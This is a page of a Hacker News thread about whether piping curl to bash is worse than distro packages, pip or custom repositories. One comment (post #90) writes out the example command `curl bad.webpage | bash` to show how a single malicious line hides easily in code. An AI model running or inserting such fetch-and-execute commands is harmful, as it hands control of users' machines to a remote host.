Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

The Audacity of Piping Curl to Bash

yotam.net

Post reply on HN
Print view View original

81–90 of 111 posts

Re: The Audacity of Piping Curl to Bash

#81

Post by Joker_vD »

denton-scratch wrote: post #59
Joker_vD wrote: post #44

> why do I still have programs on Linux that don’t use xdg directories? Because there are Linux developers who never heard of XDG and just put their stuff wherever. And since ignoring XDG doesn't makes your application completely unusable, they have pretty much zero incentive to learn about it. Crazy world, isn't it?

XDG is a specification of Free Desktop, a body that I don't trust. Standardizing filesystem locations can't be a bad thing; but an awful lot of it is tied into the requirements of GNOME Desktop, a project which seems to be trying to rule the world, and which I don't want to help with. Perhaps if XDG were cut loose from the Free Desktop project, more developers and maintainers would pay more attention to it.

That's one reason. Another reason is that while some effort was spent on writing this spec, apparently (?) almost no effort was spent on promoting/enforcing it: there is another top-level comment in this thread from a 10-year Linux application developer that says they've learned about XDG from this very post.

And indeed, there are lots of tremendously popular apps out there (Slack, for instance) that use e.g. $HOME/Downloads as a default download directory instead of $(xdg-user-dir DOWNLOAD), and most users don't mind.

Re: The Audacity of Piping Curl to Bash

#82

Post by samtheprogram »

manv1 wrote: post #39

Really, the risk here is that the install is going to do something unfortunate, like delete everything in your filesystem because you have a space in your home directory name or cause problems because your .profile didn't end with a CR and it blindly appended it's own stuff to it. I'm not sure how package managers prevent this sort of issue, but in general running shell scripts as root (and it probably needs to run a…

Some package managers don’t really prevent this, particularly thinking of npm but also apt and other system package managers, because they can run arbitrary post-install scripts.

As always, you need to trust the vendor of software you install and/or do an audit of the source/installer regardless.

Re: The Audacity of Piping Curl to Bash

#83

Post by ilyt »

mustache_kimono wrote: post #6

> If my package manager had an Oh My Zsh package This is the author missing the point. The reason `curl | bash` is common is because devs don't like packaging for every distro under the sun, and MacOS, and FreeBSD, and... If you really think `curl | bash` is the problem, then you should be lining up to package the stuff you use for your distro. Instead, it is always someone else's problem. Package managers are great.…

The effort to package is precisely what the complaint is about; you have to tell (in package manifest) where your files land and which are app files (to be removed freely) and which are config (user might want to leave it, won't be automatically overwritten on update)

> devs don't like packaging for every distro under the sun

source .deb will generally works fine under Ubuntu, Debian and most flavours just fine unless you have some funky dependencies (and if you do, installer will also be complex)

RHEL/Centos RPM will cover near-whole rest of the market.

MacOS/FreeBSD will be different enough anyway that you will need to write a bunch more in install script

Building simple package that just delivers binary is not even that complicated. Getting them to pass distro muster is often harder but you don't need to do that.

> Package managers are great... for the user. For everyone else, a polyglot system, with arcane technical policies, and even more arcane human policies is... not ideal.

Most of those "arcane" policies are there so random incompetent dev won't fuck up other stuff in the system. Which is also why users want packages in the first place.

And you don't need to abide to any policy to make simple package that just puts your files on the system. Building dumb debian package is just few metadata files (post/preinst scripts + a file describing your package) in a directory and a single command.

You only need to worry about policies if you want to submit package to distro, and there are in place for a reason.

No shit they are better for users, that's their entire fucking point!

Re: The Audacity of Piping Curl to Bash

#84

Post by ilyt »

bravetraveler wrote: post #73
mustache_kimono wrote: post #6

> If my package manager had an Oh My Zsh package This is the author missing the point. The reason `curl | bash` is common is because devs don't like packaging for every distro under the sun, and MacOS, and FreeBSD, and... If you really think `curl | bash` is the problem, then you should be lining up to package the stuff you use for your distro. Instead, it is always someone else's problem. Package managers are great.…

With things like the OpenSUSE build system... I see this more as a one time cost You write the spec files for the managers of choice; DEB, RPM, PKGBUILD, whatever With that you parameterize the inputs. The version to build, where to get the sources, etc. Maintaining these is... note your build/runtime requirements the same way you do while developing. Once the specs are written the laborious work is finished. There a…

Pretty much. I've built a few for the internal stuff and it is essentially one time effort for DEB based platform.

Clowns at Red Hat do like to break manifest compatibility in the worst way tho, think "a macro with same name in new version now does something else". The idea of .spec file being whole manifest is... nice in theory, not in Red Hat execution. But then last time I did any for RHEL was at RH6/7 time, maybe it's better now...

But even in that case that's fixing few minor things every 3-5 years at worst. There is no excuse to not make your packages if you're actual serious developer, not some random hobbyist.

I do give a pass for apps that run as single binary as that while suboptimal is at least easy to work around.

Re: The Audacity of Piping Curl to Bash

#85

Post by AnIdiotOnTheNet »

user3939382 wrote: post #66
AnIdiotOnTheNet wrote: post #60

Earlier quoted context omitted.

Also true of literally every OS, on the inherited wisdom that separating the config from the actual application allows it to persist through upgrades and reinstalls easily. There are certainly other ways to do that, but this is how it has been done since forever.

Windows uninstall isn't guaranteed* to be perfect but it's much better in this regard. It's common on Windows to have uninstaller apps that go around cleaning up the crumbs of the application. The equivalent on macOS isn't unheardof but it's rare.

I assure you that the vast majority of Windows software leaves config files and registry entries behind when uninstalled.

Re: The Audacity of Piping Curl to Bash

#86

Post by ilyt »

kybernetikos wrote: post #32
derefr wrote: post #22

Earlier quoted context omitted.

> devs don't like packaging for every distro under the sun, and MacOS, and FreeBSD, and... If you really think `curl | bash` is the problem, then you should be lining up to package the stuff you use for your distro I mean, no, those aren't the only two solutions. As with accessibility requirements for public-access shops, "we the users" could mandate (either through legislation, or more interestingly, through some ki…

> devs either properly package their apps, or don't release them at all. There's still no widely accepted answer for what 'properly package their apps' looks like. You could want snaps or appimages or a flatpak, or rpms or debs or docker containers or nix flakes or cargo crates or python virtual environments or jars or javawebstarts or portable windows executables or windows msis or webasm packages or web pages ... t…

>There's still no widely accepted answer for what 'properly package their apps' looks like. You could want snaps or appimages or a flatpak, or rpms or debs or docker containers or nix flakes or cargo crates or python virtual environments or jars or javawebstarts or portable windows executables or windows msis or webasm packages or web pages ...

Any single one of them is better than curl|sh. Just pick one. Even shipping raw runnable binary blob is preferred.

But to classify, as long as it is a unit managed by a system that can be wholly removed (sans data/configs, as you might want to keep those), it works well enough as "package">

> there's an impossible profusion that it's currently unreasonable to expect devs (many of whom are working for free) to support more than a couple of.

...I don't think I ever saw anyone asking to support more than one for a platform. Obviously users on MacOS (assuming app even releases there) will complain if you only have .deb packages but you won't get many "oh, only .deb ? I wanted a flatpack!"

Re: The Audacity of Piping Curl to Bash

#87

Post by ilyt »

simiones wrote: post #14
mustache_kimono wrote: post #6

> If my package manager had an Oh My Zsh package This is the author missing the point. The reason `curl | bash` is common is because devs don't like packaging for every distro under the sun, and MacOS, and FreeBSD, and... If you really think `curl | bash` is the problem, then you should be lining up to package the stuff you use for your distro. Instead, it is always someone else's problem. Package managers are great.…

It's even worse than that. The way common distros work is not "devs package software", it's "devs convince distro to pick up the package and maintain a fork". Of course, you can run your own APT or RPM repo, but that actually asks your users for even more control of their systems (since you now have a way to get any new version more or less automatically installed on their system in perpetuity), and it makes it even…

> It's even worse than that. The way common distros work is not "devs package software", it's "devs convince distro to pick up the package and maintain a fork".

> Of course, you can run your own APT or RPM repo, but that actually asks your users for even more control of their systems (since you now have a way to get any new version more or less automatically installed on their system in perpetuity), and it makes it even harder for them to install your software.

Technically incorrect as you can put (at least in apt) filters on what's allowed from the repo

Also, you want to have your cake and eat it too.

Either there is some 3rd party to look at package quality (even if "quality" in this case is "does not fuck up other stuff" and "uninstalls properly"),

or you trust developer to not fuck you over when they update the package

or you don't and only install raw .deb file.

> You can also bundle your software as a .deb + .rpm + .[...] file instead of a .sh file, but there is really not that much difference.

Main difference is that package can require system deps (so you will be sure that they are not removed on accident) and you don't need to write uninstaller for it.

Re: The Audacity of Piping Curl to Bash

#88

Post by denton-scratch »

simiones wrote: post #65
denton-scratch wrote: post #55

Earlier quoted context omitted.

> it's not like these things get audited. APT is part of the core Debian distro. I don't know about "audited", but it's tested, and it's maintained. And the packages in "main" are also tested. I don't program in Python, and I don't know how Pip packages are audited. An awful lot of the packages in Debian main are Python and Ruby libraries, and I suspect that they are rarely used: I assume most Python and Ruby users r…

Most software which doesn't just curl|bash tells you to add their custom repo to APT/YUM/APK/whatever. Very few packages actually rely on the Debian maintainers to add them to the core package repos as a way of being distributed, and even fewer want to use Debian's glacial pace of releasing updates.

Well, I avoid custom repos; I used to have a couple installed on one system a few years ago, but evidently I'm not using "most software".

You're right about Debian, that it moves at a glacial pace. For some of us, that's a benefit. Debian (main) is noted for its stability, and people running services that already work fine, prize stability over new features.

FWIW I switched to Devuan on most machines. I think Debian was over-hasty in jumping on the bandwagon. But Devuan rides on Debian's coattails; I still rely completely on Debian's policies and release processes. I consider myself a Debian user.

Re: The Audacity of Piping Curl to Bash

#89

Post by mustache_kimono »

ilyt wrote: post #83
mustache_kimono wrote: post #6

> If my package manager had an Oh My Zsh package This is the author missing the point. The reason `curl | bash` is common is because devs don't like packaging for every distro under the sun, and MacOS, and FreeBSD, and... If you really think `curl | bash` is the problem, then you should be lining up to package the stuff you use for your distro. Instead, it is always someone else's problem. Package managers are great.…

The effort to package is precisely what the complaint is about; you have to tell (in package manifest) where your files land and which are app files (to be removed freely) and which are config (user might want to leave it, won't be automatically overwritten on update) > devs don't like packaging for every distro under the sun source .deb will generally works fine under Ubuntu, Debian and most flavours just fine unles…

> No shit they are better for users, that's their entire fucking point!

I'm not even sure we disagree about anything, and you're yelling? FWIW I package and distribute my software but for a long time I didn't.

My position is very simple -- it's always easier if someone else does the work for you. If someone chooses not to distribute with a package, that's fine. If it bothers you, the choice is to build a package spec and pipeline for that project, not to moan about it. But packages are not an entitlement of a non-paying user. That user is perfectly entitled not to use your software, because complaining about the packages you may or may not have available is stupid, and not the devs problem.

Re: The Audacity of Piping Curl to Bash

#90

Post by rich_sasha »

denton-scratch wrote: post #55
rich_sasha wrote: post #33

Earlier quoted context omitted.

I used to think that. But is it really that much worse than `pip install` random stuff? Or Homebrew, or Linux package managers - it's not like these things get audited.

> it's not like these things get audited. APT is part of the core Debian distro. I don't know about "audited", but it's tested, and it's maintained. And the packages in "main" are also tested. I don't program in Python, and I don't know how Pip packages are audited. An awful lot of the packages in Debian main are Python and Ruby libraries, and I suspect that they are rarely used: I assume most Python and Ruby users r…

My point is, how hard it is for a malicious actor to slip something bad into a "high quality" resource such as APT (or any other method safer than curl|bash). I suspect not that hard.

For Python there has certainly been typo-squatting with malicious packages. Notoriously, something like this happened for node (IIRC, not a JS dev). I can well imagine the general code hygiene for Debian is higher, but unless someone really checks and reads the pyramid of requirements, I think safety is maybe illusorily higher than curl|bash. At the end of the day, I have to trust that whoever is providing the code isn't trying to hack me.

For example, to just install Jupyter Notebook (standard Python thing) installs 72 dependencies (I just checked). Do Debian devs check each and every one of them? From memory, Jupyter is available as an APT package.

Or if someone shares an interesting project on HN and points to a GitHub repo, do I read through every line of code? I'll probably skim through any code before running it. But shelling out to a malicious command (like `curl bad.webpage | bash`:) ) is literally one line and easy to hide.

So yes, if I have some malware that requires literally hundreds of dodgy-looking code, it's easier to slip into a curl|bash. But one little line of evil? Not sure it's easier.

Post reply on HN